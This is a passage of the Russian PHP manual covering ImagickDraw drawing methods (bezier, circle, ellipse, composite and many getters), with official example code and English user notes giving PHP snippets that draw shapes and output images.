ImagickDraw::bezier — Рисует кривую Безье

Описание

public ImagickDraw::bezier(array $coordinates): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует кривую Безье через набор точек на изображении.

Список параметров

coordinates

Многомерный массив вроде array( array( 'x' => 1, 'y' => 2 ), array( 'x' => 3, 'y' => 4 ) )

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::bezier()

<?php
function bezier($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$strokeColor = new \ImagickPixel($strokeColor);
$fillColor = new \ImagickPixel($fillColor);

$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);

$smoothPointsSet = [
[
['x' => 10.0 * 5, 'y' => 10.0 * 5],
['x' => 30.0 * 5, 'y' => 90.0 * 5],
['x' => 25.0 * 5, 'y' => 10.0 * 5],
['x' => 50.0 * 5, 'y' => 50.0 * 5],
],
[
['x' => 50.0 * 5, 'y' => 50.0 * 5],
['x' => 75.0 * 5, 'y' => 90.0 * 5],
['x' => 70.0 * 5, 'y' => 10.0 * 5],
['x' => 90.0 * 5, 'y' => 40.0 * 5],
],
];

foreach ($smoothPointsSet as $points) {
$draw->bezier($points);
}

$disjointPoints = [
[
['x' => 10 * 5, 'y' => 10 * 5],
['x' => 30 * 5, 'y' => 90 * 5],
['x' => 25 * 5, 'y' => 10 * 5],
['x' => 50 * 5, 'y' => 50 * 5],
],
[
['x' => 50 * 5, 'y' => 50 * 5],
['x' => 80 * 5, 'y' => 50 * 5],
['x' => 70 * 5, 'y' => 10 * 5],
['x' => 90 * 5, 'y' => 40 * 5],
]
];
$draw->translate(0, 200);

foreach ($disjointPoints as $points) {
$draw->bezier($points);
}

//Создание объекта изображения, в который можно преобразовать команды рисования.
$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

//Преобразование команд рисования в объекте ImagickDraw
//в изображение.
$imagick->drawImage($draw);

//Отображение изображения в браузере
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

SkepticaLee 26-Jan-2014 04:19
This function requires at least 3 points. The following code fails when there are only two points left in the array:

<?php
$im = new Imagick ();
$points = array (array ('x' => 10, 'y' => 10), array ('x' => 20, 'y' => 10), array ('x' => 30, 'y' => 40), array ('x' => 40, 'y' => 20), array ('x' => 50, 'y' => 60));
$n = 0;
while (!empty ($points))
{
    $im->newImage (64, 64, "white");
    $draw = new ImagickDraw ();
    $draw->setFillColor ("none");
    $draw->setStrokeWidth (4);
    $draw->setStrokeColor ("black");
    $draw->setStrokeOpacity (0.9);
    $draw->setStrokeAntiAlias (true);
    $draw->bezier ($points);
    $im->drawImage ($draw);
    $im->writeImage ("IMG_$n.png");
    $draw->destroy ();
    $im->destroy ();
    echo count ($points) . ", $n: <img src=\"IMG_$n.png\"><br>";
    $n++;
    array_shift ($points);
}
?>
zombiebovine at gmail dot com 14-Sep-2009 03:43
How to use:

<?php
    $width =  200;
    $height = 200;
    $border = 2;

    $img = new Imagick();
    $img->newImage( $width, $height, new ImagickPixel( 'transparent' ) );

    $draw = new ImagickDraw();
    $draw->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw->setStrokeWidth( 2 );
    $draw->setFillColor( new ImagickPixel( 'transparent' ) );

    // will fail in an obscure manner if the input data is invalid
    $points = array
    (
        array( 'x' => 0, 'y' => 200 ),
        array( 'x' => 0, 'y' => 0 ),
        array( 'x' => 200, 'y' => 200 ),
        array( 'x' => 200, 'y' => 0 )
    );

    $draw->bezier($points);

    $img->drawImage( $draw );
    $img->setImageFormat( "png" );

    header( "Content-Type: image/png" );
    echo $img;
?>


Рисует круг

  • « ImagickDraw::bezier
  • ImagickDraw::clear »
  • PHP Manual
  • ImagickDraw
  • Рисует круг

ImagickDraw::circle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::circle — Рисует круг

Описание

public ImagickDraw::circle(
float $ox,
float $oy,
float $px,
float $py
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует круг на изображении.

Список параметров

ox

Исходная координата X

oy

Исходная координата Y

px

Координата X периметра

py

Координата Y периметра

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::circle()

<?php
function circle($strokeColor, $fillColor, $backgroundColor, $originX, $originY, $endX, $endY) {

//Создание объекта ImagickDraw для рисования.
$draw = new \ImagickDraw();

$strokeColor = new \ImagickPixel($strokeColor);
$fillColor = new \ImagickPixel($fillColor);

$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->circle($originX, $originY, $endX, $endY);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

SkepticaLee 27-Jan-2014 09:26
The four values required here are a bit confusing. After all, a circle is defined by three values: the x, y coordinates of the centre, and the radius, r.

The fourth value is redundant, but has to be given, otherwise the function fails. One way of coping with this redundancy is:

<?php
$draw = new ImagickDraw ();
//given that $x and $y are the coordinates of the centre, and $r the radius:
$draw->circle ($x, $y, $x + $r, $y);
?>

There are any number of actions which are synonymous with the last, including:
<?php
$draw->circle ($x, $y, $x, $y + $r);
$draw->circle ($x, $y, $x - $r, $y);
$draw->circle ($x, $y, $x, $y - $r);
// etc, etc.
?>

Hope this helps.
christian dot reinecke at web dot de 23-Jun-2009 06:31
This example creates a circle, one part green, one part red using kind of masks for transparency, which you might know from Photoshop. drawImage() is a quick helper for debug output (see code comments) to help you reproduce the process.

<?php
function drawImage(Imagick $im) {
    $im->setCompressionQuality(100);
    $im->setImageFormat("jpg");
    header("Content-Type: image/" . $im->getImageFormat());
    echo $im;
    exit;
}

// define red/green layer
$layer1 = new Imagick();
$layer1->newImage(100, 100, "none");

$red = new ImagickDraw();
$red->setFillColor("#FF0000");
$red->rectangle(0, 0, 50, 100);

$green = new ImagickDraw();
$green->setFillColor("#00FF00");
$green->rectangle(50, 0, 100, 100);

$layer1->drawImage($red);
$layer1->drawImage($green);

# debug output: two rectangles
# drawImage($layer1);

// define circle mask
$layer2 = new Imagick();
$layer2->newImage(100, 100, "none");

$circle = new ImagickDraw();
$circle->setFillColor("#FFFFFF");
$circle->circle(50, 50, 48, 98);

$layer2->drawImage($circle);

# debug output: the mask
# drawImage($layer2);

// use mask
$layer1->compositeImage($layer2, Imagick::COMPOSITE_DSTIN, 0, 0);

# debug output: the result of our mask usage
# drawImage($layer1);

// define background
$layer3 = new Imagick();
$layer3->newImage(100, 100, "none");

$layer3->compositeImage($layer1, Imagick::COMPOSITE_DEFAULT, 0, 0);

// define ring as background
$layer4 = new Imagick();
$layer4->newImage(100, 100, "white"); // this is our background

$ring1 = new ImagickDraw();
$ring1->setFillColor("black");
$ring1->circle(50, 50, 50, 99);

$layer4->drawImage($ring1);

# debug output: this is a black circle (not our mask, which is similar, but a little bit smaller)
# drawImage($layer4);

// use black circle as background (this creates our circle border)
$layer4->compositeImage($layer3, Imagick::COMPOSITE_DEFAULT, 0, 0);

# debug output: here we go with our circle border
# drawImage($layer4);

// draw separator between red and green rectangle (now semi circles)
$line = new ImagickDraw();
$line->setStrokeWidth(1);
$line->setStrokeColor("black");
$line->line(50, 1, 50, 99);

// add our separator line
$layer4->drawImage($line);

drawImage($layer4);
?>

To understand how the COMPOSITE_* constants effect the image merging process, see here:
http://www.imagemagick.org/Usage/compose/#duff-porter


Очищает ImagickDraw

  • « ImagickDraw::circle
  • ImagickDraw::clone »
  • PHP Manual
  • ImagickDraw
  • Очищает ImagickDraw

ImagickDraw::clear

(PECL imagick 2, PECL imagick 3)

ImagickDraw::clear — Очищает ImagickDraw

Описание

public ImagickDraw::clear(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Очищает объект ImagickDraw от всех накопленных команд и сбрасывает содержащиеся в нем параметры к их значениям по умолчанию.

Возвращаемые значения

Возвращает объект ImagickDraw.

User Contributed Notes

There are no user contributed notes for this page.


Делает точную копию указанного объекта ImagickDraw

  • « ImagickDraw::clear
  • ImagickDraw::color »
  • PHP Manual
  • ImagickDraw
  • Делает точную копию указанного объекта ImagickDraw

ImagickDraw::clone

(PECL imagick 2, PECL imagick 3)

ImagickDraw::clone — Делает точную копию указанного объекта ImagickDraw

Описание

public ImagickDraw::clone(): ImagickDraw
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Делает точную копию указанного объекта ImagickDraw.

Возвращаемые значения

Возвращает точную копию указанного объекта ImagickDraw.

User Contributed Notes

There are no user contributed notes for this page.


Рисует цвет на изображении

  • « ImagickDraw::clone
  • ImagickDraw::comment »
  • PHP Manual
  • ImagickDraw
  • Рисует цвет на изображении

ImagickDraw::color

(PECL imagick 2, PECL imagick 3)

ImagickDraw::color — Рисует цвет на изображении

Описание

public ImagickDraw::color(float $x, float $y, int $paintMethod): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует цвет на изображении, используя текущий цвет заливки, начиная с указанной позиции и используя указанный метод рисования.

Список параметров

x

Координата X рисунка

y

Координата Y рисунка

paintMethod

Одна из констант PAINT (imagick::PAINT_*).

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет комментарий

  • « ImagickDraw::color
  • ImagickDraw::composite »
  • PHP Manual
  • ImagickDraw
  • Добавляет комментарий

ImagickDraw::comment

(PECL imagick 2, PECL imagick 3)

ImagickDraw::comment — Добавляет комментарий

Описание

public ImagickDraw::comment(string $comment): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Добавляет комментарий в векторный поток вывода.

Список параметров

comment

Строка комментария для добавления в векторный поток вывода

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Накладывает изображение на текущее изображение

  • « ImagickDraw::comment
  • ImagickDraw::__construct »
  • PHP Manual
  • ImagickDraw
  • Накладывает изображение на текущее изображение

ImagickDraw::composite

(PECL imagick 2, PECL imagick 3)

ImagickDraw::composite — Накладывает изображение на текущее изображение

Описание

public ImagickDraw::composite(
int $compose,
float $x,
float $y,
float $width,
float $height,
Imagick $compositeWand
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Накладывает изображение на текущее изображение, используя указанный оператор накладывания, указанную позицию и указанный размер.

Список параметров

compose

Оператор накладывания. Одна из констант Оператора накладывания (imagick::COMPOSITE_*).

x

Координата X левого верхнего угла.

y

Координата Y левого верхнего угла.

width

Ширина изображения композиции.

height

Высота изображения композиции.

compositeWand

Объект Imagick, из которого взято композиционное изображение.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования ImagickDraw::composite()

<?php
function composite($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setFillOpacity(1);
$draw->setStrokeWidth(2);
$draw->setFontSize(72);
$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setStrokeWidth(2);
$draw->setFont("../fonts/CANDY.TTF");
$draw->setFontSize(140);
$draw->rectangle(0, 0, 1000, 300);
$draw->setFillColor('white');
$draw->setfillopacity(1);
$draw->annotation(50, 180, "Lorem Ipsum!");

//Создание объекта изображения, в который можно преобразовать команды рисования.
$imagick = new \Imagick();
$imagick->newImage(1000, 302, $backgroundColor);
$imagick->setImageFormat("png");

//Преобразование команд рисования в объекте ImagickDraw
//в изображение.
$imagick->drawImage($draw);

//Отображение изображения в браузере
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

christian dot reinecke at web dot de 23-Jun-2009 01:31
To see some examples how the COMPOSITE_* constants work, see this page:
http://www.imagemagick.org/Usage/compose/#duff-porter


Конструктор класса ImagickDraw

  • « ImagickDraw::composite
  • ImagickDraw::destroy »
  • PHP Manual
  • ImagickDraw
  • Конструктор класса ImagickDraw

ImagickDraw::__construct

(PECL imagick 2, PECL imagick 3)

ImagickDraw::__construct — Конструктор класса ImagickDraw

Описание

public ImagickDraw::__construct()
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Конструктор класса ImagickDraw.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

Anonymous 31-Mar-2009 02:59
To set up and output an image the very minimum:
<?php
$img = new Imagick();
$img->newImage( 200, 200, new ImagickPixel( 'lime' ) );
$img->setImageFormat( "png" );
header( "Content-Type: image/png" );
echo $img;
?>
Copy, paste; and if imagemagick is enabled it should come up with a lime colored square.


Освобождает все связанные ресурсы

  • « ImagickDraw::__construct
  • ImagickDraw::ellipse »
  • PHP Manual
  • ImagickDraw
  • Освобождает все связанные ресурсы

ImagickDraw::destroy

(PECL imagick 2, PECL imagick 3)

ImagickDraw::destroy — Освобождает все связанные ресурсы

Описание

public ImagickDraw::destroy(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Освобождает все ресурсы, связанные с объектом ImagickDraw.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Рисует на изображении эллипс

  • « ImagickDraw::destroy
  • ImagickDraw::getClipPath »
  • PHP Manual
  • ImagickDraw
  • Рисует на изображении эллипс

ImagickDraw::ellipse

(PECL imagick 2, PECL imagick 3)

ImagickDraw::ellipse — Рисует на изображении эллипс

Описание

public ImagickDraw::ellipse(
float $ox,
float $oy,
float $rx,
float $ry,
float $start,
float $end
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Рисует на изображении эллипс.

Список параметров

ox

oy

rx

ry

start

end

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::ellipse()

<?php
function ellipse($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->ellipse(125, 70, 100, 50, 0, 360);
$draw->ellipse(350, 70, 100, 50, 0, 315);

$draw->push();
$draw->translate(125, 250);
$draw->rotate(30);
$draw->ellipse(0, 0, 100, 50, 0, 360);
$draw->pop();

$draw->push();
$draw->translate(350, 250);
$draw->rotate(30);
$draw->ellipse(0, 0, 100, 50, 0, 315);
$draw->pop();

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Axeia 31-Mar-2009 02:10
<?php
/**
 * Please note that if you use a stroke. ( Imagick::setStrokeWidth( 2 ) ) the
 * stroke is drawn outside the ellipse dimensions.
 *
 * @param float $ox - Offset X, distance from the center of the ellipse till the left border of the image
 * @param float $oy - Offset Y, distance from the center of the ellipse till the top of the image
 * @param float $rx - X radius
 * @param float $ry - Y radius
 * @param float float $start - Starting angle in degrees.
 * @param float float $end - End angle in degrees.
 *
 */
ImagickDraw::ellipse( float $ox  , float $oy  , float $rx  , float $ry  , float $start  , float $end  );
?>

Example of drawing a full ellipse (from 0, 360) and outputting it as a PNG.
Do note, that this is  by default anti-aliased unlike the GD functions which only support it on lines that aren't on a transparent background.
<?php
$width =  200;
$height = 100;
$border = 2;

$img = new Imagick();
$img->newImage( $width, $height, new ImagickPixel( 'transparent' ) );

$draw = new ImagickDraw();
$draw->setStrokeColor( new ImagickPixel( 'black' ) );
$draw->setStrokeWidth( 2 );
$draw->setFillColor( new ImagickPixel( 'transparent' ) );
//Substract the border from the radius so it doesn't fall outside the screen.
$draw->ellipse( $width/2, $height/2, ($width/2)-$border, ($height/2)-$border, 0, 360 );
$img->drawImage( $draw );
$img->setImageFormat( "png" );

header( "Content-Type: image/png" );
echo $img;
?>


Возвращает идентификатор текущего обтравочного контура

  • « ImagickDraw::ellipse
  • ImagickDraw::getClipRule »
  • PHP Manual
  • ImagickDraw
  • Возвращает идентификатор текущего обтравочного контура

ImagickDraw::getClipPath

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getClipPath — Возвращает идентификатор текущего обтравочного контура

Описание

public ImagickDraw::getClipPath(): string
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Получает идентификатор текущего обтравочного контура.

Возвращаемые значения

Возвращает строку, содержащую идентификатор обтравочного контура или false, если обтравочного контура не существует.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущее правило заливки многоугольника

  • « ImagickDraw::getClipPath
  • ImagickDraw::getClipUnits »
  • PHP Manual
  • ImagickDraw
  • Возвращает текущее правило заливки многоугольника

ImagickDraw::getClipRule

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getClipRule — Возвращает текущее правило заливки многоугольника

Описание

public ImagickDraw::getClipRule(): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает текущее правило заливки многоугольника, которое будет использоваться обтравочным контуром.

Возвращаемые значения

Возвращает одну из констант FILLRULE (imagick::FILLRULE_*).

User Contributed Notes

There are no user contributed notes for this page.


Возвращает интерпретацию единиц обтравочного контура

  • « ImagickDraw::getClipRule
  • ImagickDraw::getFillColor »
  • PHP Manual
  • ImagickDraw
  • Возвращает интерпретацию единиц обтравочного контура

ImagickDraw::getClipUnits

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getClipUnits — Возвращает интерпретацию единиц обтравочного контура

Описание

public ImagickDraw::getClipUnits(): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает интерпретацию единиц обтравочного контура.

Возвращаемые значения

В случае успешного выполнения возвращает целое число (int).

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цвет заливки

  • « ImagickDraw::getClipUnits
  • ImagickDraw::getFillOpacity »
  • PHP Manual
  • ImagickDraw
  • Возвращает цвет заливки

ImagickDraw::getFillColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFillColor — Возвращает цвет заливки

Описание

public ImagickDraw::getFillColor(): ImagickPixel
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает цвет заливки, используемый для рисования объектов с заливкой.

Возвращаемые значения

Возвращает объект ImagickPixel.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает непрозрачность, используемую при рисовании

  • « ImagickDraw::getFillColor
  • ImagickDraw::getFillRule »
  • PHP Manual
  • ImagickDraw
  • Возвращает непрозрачность, используемую при рисовании

ImagickDraw::getFillOpacity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFillOpacity — Возвращает непрозрачность, используемую при рисовании

Описание

public ImagickDraw::getFillOpacity(): float
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает непрозрачность, используемую при рисовании с использованием цвета или текстуры заливки. Полностью непрозрачный - 1.0.

Возвращаемые значения

Непрозрачность.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает правило заливки

  • « ImagickDraw::getFillOpacity
  • ImagickDraw::getFont »
  • PHP Manual
  • ImagickDraw
  • Возвращает правило заливки

ImagickDraw::getFillRule

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFillRule — Возвращает правило заливки

Описание

public ImagickDraw::getFillRule(): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает правило заливки, используемое при рисовании полигонов.

Возвращаемые значения

Возвращает константу FILLRULE (imagick::FILLRULE_*).

User Contributed Notes

There are no user contributed notes for this page.


Возвращает шрифт

  • « ImagickDraw::getFillRule
  • ImagickDraw::getFontFamily »
  • PHP Manual
  • ImagickDraw
  • Возвращает шрифт

ImagickDraw::getFont

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFont — Возвращает шрифт

Описание

public ImagickDraw::getFont(): string
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает строку, определяющую шрифт, используемый при аннотации текста.

Возвращаемые значения

Возвращает строку в случае успешного выполнения или false, если шрифт не определён.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает семейство шрифтов

  • « ImagickDraw::getFont
  • ImagickDraw::getFontSize »
  • PHP Manual
  • ImagickDraw
  • Возвращает семейство шрифтов

ImagickDraw::getFontFamily

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFontFamily — Возвращает семейство шрифтов

Описание

public ImagickDraw::getFontFamily(): string
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает семейство шрифтов, используемое при аннотации текста.

Возвращаемые значения

Возвращает текущее выбранное семейство шрифтов или false, если семейство шрифтов не определено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер шрифта

  • « ImagickDraw::getFontFamily
  • ImagickDraw::getFontStretch »
  • PHP Manual
  • ImagickDraw
  • Возвращает размер шрифта

ImagickDraw::getFontSize

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFontSize — Возвращает размер шрифта

Описание

public ImagickDraw::getFontSize(): float
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает размер шрифта, используемый при аннотации текста.

Возвращаемые значения

Возвращает размер шрифта, связанный с текущим объектом ImagickDraw.

User Contributed Notes

There are no user contributed notes for this page.


Получает растяжение шрифта, используемое при аннотации текста

  • « ImagickDraw::getFontSize
  • ImagickDraw::getFontStyle »
  • PHP Manual
  • ImagickDraw
  • Получает растяжение шрифта, используемое при аннотации текста

ImagickDraw::getFontStretch

(PECL imagick 2 >=2.3.0, PECL imagick 3)

ImagickDraw::getFontStretch — Получает растяжение шрифта, используемое при аннотации текста

Описание

public ImagickDraw::getFontStretch(): int

Получает растяжение шрифта, используемое при аннотации текста. Возвращает StretchType.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает стиль шрифта

  • « ImagickDraw::getFontStretch
  • ImagickDraw::getFontWeight »
  • PHP Manual
  • ImagickDraw
  • Возвращает стиль шрифта

ImagickDraw::getFontStyle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFontStyle — Возвращает стиль шрифта

Описание

public ImagickDraw::getFontStyle(): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает стиль шрифта, используемый при аннотации текста.

Возвращаемые значения

Возвращает константу STYLE (imagick::STYLE_*), связанную с объектом ImagickDraw или 0, если стиль не установлен.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает толщину шрифта

  • « ImagickDraw::getFontStyle
  • ImagickDraw::getGravity »
  • PHP Manual
  • ImagickDraw
  • Возвращает толщину шрифта

ImagickDraw::getFontWeight

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFontWeight — Возвращает толщину шрифта

Описание

public ImagickDraw::getFontWeight(): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает толщину шрифта, используемую при аннотации текста.

Возвращаемые значения

Возвращает целое число (int) в случае успешного выполнения или 0, если толщина не задана.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает гравитацию размещения текста

  • « ImagickDraw::getFontWeight
  • ImagickDraw::getStrokeAntialias »
  • PHP Manual
  • ImagickDraw
  • Возвращает гравитацию размещения текста

ImagickDraw::getGravity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getGravity — Возвращает гравитацию размещения текста

Описание

public ImagickDraw::getGravity(): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает гравитацию размещения текста, используемую при его аннотации.

Возвращаемые значения

Возвращает константу GRAVITY (imagick::GRAVITY_*) в случае успешного выполнения или 0, если гравитация не установлена.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую настройку сглаживания обводки

  • « ImagickDraw::getGravity
  • ImagickDraw::getStrokeColor »
  • PHP Manual
  • ImagickDraw
  • Возвращает текущую настройку сглаживания обводки

ImagickDraw::getStrokeAntialias

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeAntialias — Возвращает текущую настройку сглаживания обводки

Описание

public ImagickDraw::getStrokeAntialias(): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает текущую настройку сглаживания обводки. По умолчанию обведённые контуры сглаживаются. Когда сглаживание отключено, для обведённых пикселей устанавливается пороговое значение, чтобы определить, следует ли использовать цвет обводки или базовый цвет холста.

Возвращаемые значения

Возвращает true, если сглаживание включено или false, если оно выключено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цвет, используемый для обводки контуров объекта

  • « ImagickDraw::getStrokeAntialias
  • ImagickDraw::getStrokeDashArray »
  • PHP Manual
  • ImagickDraw
  • Возвращает цвет, используемый для обводки контуров объекта

ImagickDraw::getStrokeColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeColor — Возвращает цвет, используемый для обводки контуров объекта

Описание

public ImagickDraw::getStrokeColor(): ImagickPixel
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает цвет, используемый для обводки контуров объекта.

Список параметров

stroke_color

Возвращаемые значения

Возвращает объект ImagickPixel, описывающий цвет.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив, представляющий паттерн из штрихов и пробелов, используемых для обводки контуров

  • « ImagickDraw::getStrokeColor
  • ImagickDraw::getStrokeDashOffset »
  • PHP Manual
  • ImagickDraw
  • Возвращает массив, представляющий паттерн из штрихов и пробелов, используемых для обводки контуров

ImagickDraw::getStrokeDashArray

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeDashArray — Возвращает массив, представляющий паттерн из штрихов и пробелов, используемых для обводки контуров

Описание

public ImagickDraw::getStrokeDashArray(): array
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает массив, представляющий паттерн из штрихов и пробелов, используемых для обводки контуров.

Возвращаемые значения

Возвращает массив в случае успешного выполнения или пустой массив, если паттерн не задан.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает смещение в штриховом паттерне для начала штриховки

  • « ImagickDraw::getStrokeDashArray
  • ImagickDraw::getStrokeLineCap »
  • PHP Manual
  • ImagickDraw
  • Возвращает смещение в штриховом паттерне для начала штриховки

ImagickDraw::getStrokeDashOffset

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeDashOffset — Возвращает смещение в штриховом паттерне для начала штриховки

Описание

public ImagickDraw::getStrokeDashOffset(): float
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает смещение в штриховом паттерне для начала штриховки.

Возвращаемые значения

Возвращает число с плавающей точкой, представляющее смещение, или 0, если оно не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает форму, которая будет использоваться в конце открытых внутренних контуров при их обводке

  • « ImagickDraw::getStrokeDashOffset
  • ImagickDraw::getStrokeLineJoin »
  • PHP Manual
  • ImagickDraw
  • Возвращает форму, которая будет использоваться в конце открытых внутренних контуров при их обводке

ImagickDraw::getStrokeLineCap

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeLineCap — Возвращает форму, которая будет использоваться в конце открытых внутренних контуров при их обводке

Описание

public ImagickDraw::getStrokeLineCap(): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает форму, которая будет использоваться в конце открытых внутренних контуров при их обводке.

Возвращаемые значения

Возвращает константу LINECAP (imagick::LINECAP_*) или 0, если форма обводки не задана.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает форму, которая будет использоваться в углах контуров при их обводке

  • « ImagickDraw::getStrokeLineCap
  • ImagickDraw::getStrokeMiterLimit »
  • PHP Manual
  • ImagickDraw
  • Возвращает форму, которая будет использоваться в углах контуров при их обводке

ImagickDraw::getStrokeLineJoin

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeLineJoin — Возвращает форму, которая будет использоваться в углах контуров при их обводке

Описание

public ImagickDraw::getStrokeLineJoin(): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает фигуру, которая будет использоваться в углах контуров (или других векторных фигур) при их обводке.

Возвращаемые значения

Возвращает одну из констант LINEJOIN (imagick::LINEJOIN_*) или 0, если соединение линии обводки не задано.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает предел среза обводки

  • « ImagickDraw::getStrokeLineJoin
  • ImagickDraw::getStrokeOpacity »
  • PHP Manual
  • ImagickDraw
  • Возвращает предел среза обводки

ImagickDraw::getStrokeMiterLimit

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeMiterLimit — Возвращает предел среза обводки

Описание

public ImagickDraw::getStrokeMiterLimit(): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращает предел среза. Когда два отрезка линии встречаются под острым углом и для 'lineJoin' заданы угловые стыки, срез может выходить далеко за пределы толщины линии, обводящей контур. 'miterLimit' накладывает ограничение на отношение длины среза к 'lineWidth'.

Возвращаемые значения

Возвращает целое число, описывающее предел среза, или 0, если предел среза не установлен.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает непрозрачность обведённых контуров объекта

  • « ImagickDraw::getStrokeMiterLimit
  • ImagickDraw::getStrokeWidth »
  • PHP Manual
  • ImagickDraw
